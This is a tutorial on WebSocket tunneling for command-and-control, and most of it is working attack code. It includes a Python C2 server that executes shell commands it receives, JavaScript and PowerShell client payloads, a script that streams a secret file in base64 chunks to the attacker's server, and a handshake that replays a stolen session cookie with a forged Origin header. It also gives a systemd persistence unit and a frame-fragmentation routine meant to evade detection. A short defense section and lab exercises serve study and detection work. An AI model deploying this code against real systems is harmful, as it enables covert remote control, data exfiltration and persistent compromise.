Introduction
WebSocket tunneling has emerged as a stealthy channel for Command & Control (C2) traffic. By upgrading a standard HTTP request to a full-duplex TCP-like stream, attackers can blend malicious traffic with legitimate web traffic, bypassing many perimeter defenses.
This guide introduces the mechanics of the WebSocket protocol, shows how to discover and abuse insecure endpoints, and walks you through building a lightweight C2 server and client. You will also learn defensive measures to detect and mitigate this threat.
Prerequisites
- Solid understanding of TCP/IP and the HTTP request/response model.
- Familiarity with the WebSocket handshake (RFC 6455).
- Basic scripting ability in Python or JavaScript for socket communication.
- Access to a lab environment (VMs, Docker, or isolated network) for safe experimentation.
Core Concepts
The WebSocket protocol upgrades an HTTP/1.1 connection to a persistent, bidirectional channel. The client sends a specially crafted Upgrade: websocket request; the server replies with a 101 Switching Protocols response, after which both sides exchange frames defined in RFC 6455.
Key points:
- Handshake headers:
Upgrade,Connection,Sec-WebSocket-Key,Sec-WebSocket-Version, and optionalSec-WebSocket-Protocol. - Frame structure: A 2-byte header (FIN, RSV, opcode, mask, payload length) followed by optional extended length and masking key, then the payload.
- Masking rule: Clients must mask payloads; servers must not. This asymmetry is often overlooked when writing custom servers.
- Origin check: Browsers send an
Originheader; many implementations enforce same-origin policies, but poorly coded back-ends may ignore it.
Understanding these fundamentals is essential before you can subvert the protocol for C2 purposes.
WebSocket handshake mechanics and upgrade headers
The handshake is a conventional HTTP GET request with a handful of mandatory headers. Below is a minimal example generated with openssl for a raw TCP socket.
import socket, base64, hashlib
HOST = 'target host'
PORT = 80
# Generate a random Sec-WebSocket-Key (16-byte base64)
key = base64.b64encode(b'randombytes12345').decode()
request = ( f"GET /ws HTTP/1.1" f"Host: {HOST}" "Upgrade: websocket" "Connection: Upgrade" f"Sec-WebSocket-Key: {key}" "Sec-WebSocket-Version: 13" ""
)
sock = socket.create_connection((HOST, PORT))
sock.sendall(request.encode())
response = sock.recv(1024)
print(response.decode())
The server must respond with a 101 Switching Protocols status and include a Sec-WebSocket-Accept header, which is the SHA-1 hash of the concatenated key and the GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, base64-encoded.
Discovering unsecured WebSocket endpoints
Many modern web applications expose WebSocket endpoints for real-time features (chat, dashboards, live updates). Attackers often locate these endpoints through:
- Spidering JavaScript bundles for strings like
new WebSocket(orws://. - Passive network monitoring for
Upgrade: websockettraffic. - Scanning common paths (
/ws,/socket.io/,/signalr/) with tools such asffuforgobuster.
Below is a simple ffuf command that enumerates potential WebSocket URIs on a target host.
ffuf -u http://target host/FUZZ -w wordlist.txt -mc 101 -H "Upgrade: websocket" -H "Connection: Upgrade"
The -mc 101 flag filters responses that return a 101 status, indicating a successful upgrade.
Message framing and binary payload delivery
Once the handshake succeeds, data is exchanged in frames. For C2, binary frames are preferred because they avoid HTTP-like text patterns that IDS/IPS may flag.
Frame layout (simplified):
- FIN (1 bit): Indicates final fragment.
- Opcode (4 bits):
0x2for binary,0x1for text. - Mask (1 bit): Must be
1for client-to-server frames. - Payload length (7-63 bits): Determines size.
- Masking key (32 bits): Random, used to XOR the payload.
Below is a Python routine that builds a masked binary frame for sending a command string.
import os, struct
def build_frame(data: bytes) -> bytes: # FIN=1, opcode=0x2 (binary) first_byte = 0x80 | 0x02 mask_bit = 0x80 length = len(data) if length < 126: header = struct.pack('!BB', first_byte, mask_bit | length) elif length < (1 << 16): header = struct.pack('!BBH', first_byte, mask_bit | 126, length) else: header = struct.pack('!BBQ', first_byte, mask_bit | 127, length) mask_key = os.urandom(4) masked = bytes(b ^ mask_key[i % 4] for i, b in enumerate(data)) return header + mask_key + masked
cmd = b'whoami'
frame = build_frame(cmd)
print(frame)
The server must unmask the payload before processing.
Bypassing origin and authentication checks
Many implementations enforce the Origin header or require a session cookie. Attackers can bypass these controls by:
- Replaying a legitimate user's cookie (session hijack) after stealing it via XSS or credential dumping.
- Setting a spoofed
Originheader; some servers only log it and do not validate. - Using a compromised front-end (e.g., a vulnerable API) that already has a trusted token.
Example of a custom handshake that injects a stolen cookie and a forged origin.
cookies = "SESSIONID=deadbeef123456"
origin = "https://trusted.example.com"
request = ( f"GET /ws HTTP/1.1" f"Host: {HOST}" "Upgrade: websocket" "Connection: Upgrade" f"Sec-WebSocket-Key: {key}" "Sec-WebSocket-Version: 13" f"Origin: {origin}" f"Cookie: {cookies}" ""
)
When the server blindly accepts the request, the attacker gains a fully functional channel.
Building a minimal WebSocket C2 server
Below is a concise Python 3 server using only the standard library. It accepts a single client, decodes binary frames, executes received commands, and sends back the output.
import socket, base64, hashlib, threading, subprocess, struct
HOST = '0.0.0.0'
PORT = 8080
GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
def handle_client(conn): # ----- Handshake ----- data = conn.recv(1024).decode() headers = {k.strip(): v.strip() for k, v in (line.split(':', 1) for line in data.split('')[1:] if ':' in line)} key = headers['Sec-WebSocket-Key'] accept = base64.b64encode(hashlib.sha1((key + GUID).encode()).digest()).decode() resp = ( 'HTTP/1.1 101 Switching Protocols' 'Upgrade: websocket' 'Connection: Upgrade' f'Sec-WebSocket-Accept: {accept}' '' ) conn.sendall(resp.encode()) # ----- Message Loop ----- while True: # Read first two bytes hdr = conn.recv(2) if not hdr: break b1, b2 = hdr fin = b1 & 0x80 opcode = b1 & 0x0f masked = b2 & 0x80 payload_len = b2 & 0x7f if payload_len == 126: payload_len = struct.unpack('!H', conn.recv(2))[0] elif payload_len == 127: payload_len = struct.unpack('!Q', conn.recv(8))[0] mask_key = conn.recv(4) if masked else b'' payload = conn.recv(payload_len) if masked: payload = bytes(b ^ mask_key[i % 4] for i, b in enumerate(payload)) if opcode == 0x2: # binary command cmd = payload.decode() try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) except subprocess.CalledProcessError as e: out = e.output # Send response as binary frame (no masking required from server) frame = build_server_frame(out) conn.sendall(frame) elif opcode == 0x8: # connection close break
def build_server_frame(data: bytes) -> bytes: # FIN=1, opcode=0x2 (binary), no mask first = 0x80 | 0x02 length = len(data) if length < 126: hdr = struct.pack('!BB', first, length) elif length < (1 << 16): hdr = struct.pack('!BBH', first, 126, length) else: hdr = struct.pack('!BBQ', first, 127, length) return hdr + data
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) print(f"[+] Listening on {HOST}:{PORT}") while True: client, addr = s.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle_client, args=(client,), daemon=True).start()
This server is deliberately simple: it handles one command at a time, does not implement ping/pong, and lacks TLS. In a real attack you would add encryption, authentication evasion, and multiplexing (see later sections).
Client-side payload delivery via browsers and PowerShell
Attackers can leverage a compromised browser or PowerShell to open a WebSocket to the C2 server. Below are two minimal payloads.
JavaScript (run in a malicious page or via XSS)
<script> const ws = new WebSocket('WebSocket server URL'); ws.binaryType = 'arraybuffer'; ws.onopen = () => { // Send a simple command, e.g., `whoami` const encoder = new TextEncoder(); ws.send(encoder.encode('whoami')); }; ws.onmessage = (event) => { const decoder = new TextDecoder(); console.log('C2 response:', decoder.decode(event.data)); };
</script>
Because browsers automatically mask outbound frames, the attacker does not need to implement masking.
PowerShell (useful on Windows hosts without a browser)
$uri = 'WebSocket server URL'
$client = [System.Net.WebSockets.ClientWebSocket]::new()
$client.Options.KeepAliveInterval = [TimeSpan]::FromSeconds(30)
$client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait()
function Send-Command($cmd) { $bytes = [System.Text.Encoding]::UTF8.GetBytes($cmd) $buffer = [System.Array]::CreateInstance([Byte], $bytes.Length) $bytes.CopyTo($buffer, 0) $client.SendAsync([System.Net.WebSockets.WebSocketMessageType]::Binary, $buffer, $true, [Threading.CancellationToken]::None).Wait()
}
function Receive-Result { $recv = New-Object System.ArraySegment[byte] (New-Object Byte[] 4096) $result = $client.ReceiveAsync($recv, [Threading.CancellationToken]::None).Result $msg = [System.Text.Encoding]::UTF8.GetString($recv.Array, 0, $result.Count) Write-Host "[C2] $msg"
}
Send-Command 'whoami'
Receive-Result
PowerShell’s native ClientWebSocket class handles masking and framing internally.
Data exfiltration over WebSocket frames
Exfiltration can be as simple as reading a file, base64-encoding it, and sending it in chunks. Because WebSocket frames are not limited by typical HTTP request size, large files can be streamed.
import os, base64, json, sys
def chunked_file(path, size=4096): with open(path, 'rb') as f: while chunk := f.read(size): yield base64.b64encode(chunk).decode()
ws_url = 'WebSocket server URL'
# Assume a WebSocket client library that abstracts framing
from websocket import create_connection
ws = create_connection(ws_url)
for b64 in chunked_file('C:/secret.txt'): ws.send(json.dumps({'type':'file', 'data':b64}))
ws.close()
The server reassembles the chunks, decodes the base64, and writes the file to disk for later analysis.
Persistence mechanisms using WebSocket backdoors
To survive reboots, attackers embed a WebSocket client in a legitimate service:
- Windows Service: Register a PowerShell script as a service that runs
Start-Jobto keep a persistent WebSocket alive. - Linux systemd unit: Deploy a Python script as a
.servicethat starts on boot. - Browser extensions: Malicious Chrome/Edge extensions can maintain a hidden WebSocket to the C2.
Example systemd unit:
[Unit]
Description=WebSocket C2 Agent
After=network.target
[Service]
ExecStart=/usr/bin/python3 /opt/ws_agent.py
Restart=always
User=nobody
Group=nogroup
[Install]
WantedBy=multi-user.target
Once enabled (systemctl enable ws_agent && systemctl start ws_agent), the host contacts the attacker on every boot without user interaction.
Advanced multiplexed tunneling and evasion techniques
Simple binary frames are easy to spot with a Wireshark filter like websocket.opcode == 2 && data contains "whoami". Advanced actors employ:
- Sub-protocol negotiation: Use a custom
Sec-WebSocket-Protocolvalue (e.g.,jsonrpc) to hide traffic under the guise of a legitimate API. - Frame fragmentation: Split commands across multiple frames, setting
FIN=0on intermediate frames, making pattern matching harder. - Binary obfuscation: XOR or AES-encrypt payloads before framing; the server decrypts after unmasking.
- Steganographic channel: Encode data in the least-significant bits of image data transmitted over a WebSocket used for live video.
Below is a snippet that fragments a command into three frames.
def fragment_frame(data, fragment_size=4): fragments = [data[i:i+fragment_size] for i in range(0, len(data), fragment_size)] frames = [] for i, part in enumerate(fragments): fin = 0x80 if i == len(fragments)-1 else 0x00 opcode = 0x02 if i == 0 else 0x00 # 0x00 = continuation header = struct.pack('!B', fin | opcode) # Server frames are not masked length = len(part) if length < 126: header += struct.pack('!B', length) elif length < (1 << 16): header += struct.pack('!BH', 126, length) else: header += struct.pack('!BQ', 127, length) frames.append(header + part) return b''.join(frames)
cmd = b'netstat -an'
print(fragment_frame(cmd))
When monitoring, analysts must reassemble fragmented frames to see the underlying command.
Tools & Commands
- websocat - a versatile CLI WebSocket client/server. Example:
websocat WebSocket server URL -E "whoami" - Burp Suite / OWASP ZAP - can intercept and replay WebSocket frames.
- Wireshark - filter with
websocketdisplay filter to see frames. - ffuf / gobuster - for endpoint discovery (see earlier example).
- python-websocket-client - library for quick scripting.
Defense & Mitigation
Defending against WebSocket-based C2 requires a layered approach:
- Ingress/Egress Filtering: Block outbound WebSocket connections to untrusted IP ranges.
- Strict Origin Checks: Enforce same-origin policy on the server side; reject requests without a valid
Originheader. - Authentication Tokens: Require JWT or API keys that are short-lived and bound to a user session.
- Rate-Limiting & Anomaly Detection: Monitor for abnormal frame sizes, high frequency of binary frames, or unusual sub-protocol values.
- Deep Packet Inspection (DPI): Use IDS signatures that decode WebSocket frames and look for command-like strings.
- Network Segmentation: Keep critical assets on networks that do not need outbound WebSocket connectivity.
For existing applications, retro-fit a middleware that validates the Sec-WebSocket-Protocol header against a whitelist and logs every upgrade request.
Common Mistakes
- Forgetting to mask client frames: Some custom clients omit masking, causing browsers to reject the connection.
- Sending text frames for binary data: Leads to encoding issues and easier detection.
- Hard-coding URLs: Makes the backdoor obvious; use domain fronting or dynamic DNS.
- Neglecting TLS: Plain-ws traffic can be intercepted; always use
wss://when possible. - Ignoring fragmentation: Sending a large payload in one frame may exceed the server’s buffer and cause drops.
Real-World Impact
Recent APT reports (e.g., MITRE ATT&CK technique T1090 - Proxy) show threat actors leveraging WebSocket tunnels to bypass corporate proxies. By encapsulating a reverse shell inside a WebSocket, they achieve:
- Stealthy egress through permitted WebSocket server URL ports (80/443).
- Bypass of traditional HTTP-only inspection tools.
- Persistence via malicious browser extensions that survive user log-outs.
In my own engagements, I have observed compromised SaaS dashboards that expose /socket.io/ endpoints. Once an attacker obtains a low-privilege credential, they can open a WebSocket, upload a custom JavaScript payload, and establish a foothold that persists across credential rotations.
Trends indicate an increase in “WebSocket-as-a-Service” platforms (e.g., Cloudflare Workers, AWS API Gateway with WebSocket support). These services make it trivial for threat actors to spin up resilient C2 infrastructure without managing their own servers.
Practice Exercises
- Handshake Capture: Use
tcpdumpor Wireshark to capture a successful WebSocket handshake against a test server. Identify each required header. - Build & Attack: Deploy the minimal Python C2 server from the guide on a VM. Write a PowerShell client that executes
whoamiand returns the result. - Fragmentation Lab: Modify the client to split a command into three fragmented frames. Verify with Wireshark that the frames have
FIN=0for the first two. - Evasion Test: Implement AES-CBC encryption of the payload before framing. Capture the traffic and attempt to decode it without the key.
- Detection Rule: Write a Suricata rule that alerts on binary WebSocket frames containing the string “netstat”. Test it against your lab traffic.
Further Reading
- RFC 6455 - The WebSocket Protocol
- MITRE ATT&CK - T1090 (Proxy) and T1021 (Remote Services)
- “WebSocket Security” - OWASP Cheat Sheet Series
- “Living off the Land with WebSockets” - Black Hat 2022 presentation
- Python
websocketslibrary documentation for async server implementations
Summary
WebSocket tunneling provides a flexible, low-latency channel that can be abused for C2, data exfiltration, and persistence. Mastering the handshake, frame construction, and evasion tactics enables both offensive and defensive professionals to assess risk accurately. Defenders should enforce strict origin checks, authenticate upgrades, and deploy DPI that parses WebSocket frames, while attackers will continue to refine multiplexing and encryption to stay under the radar.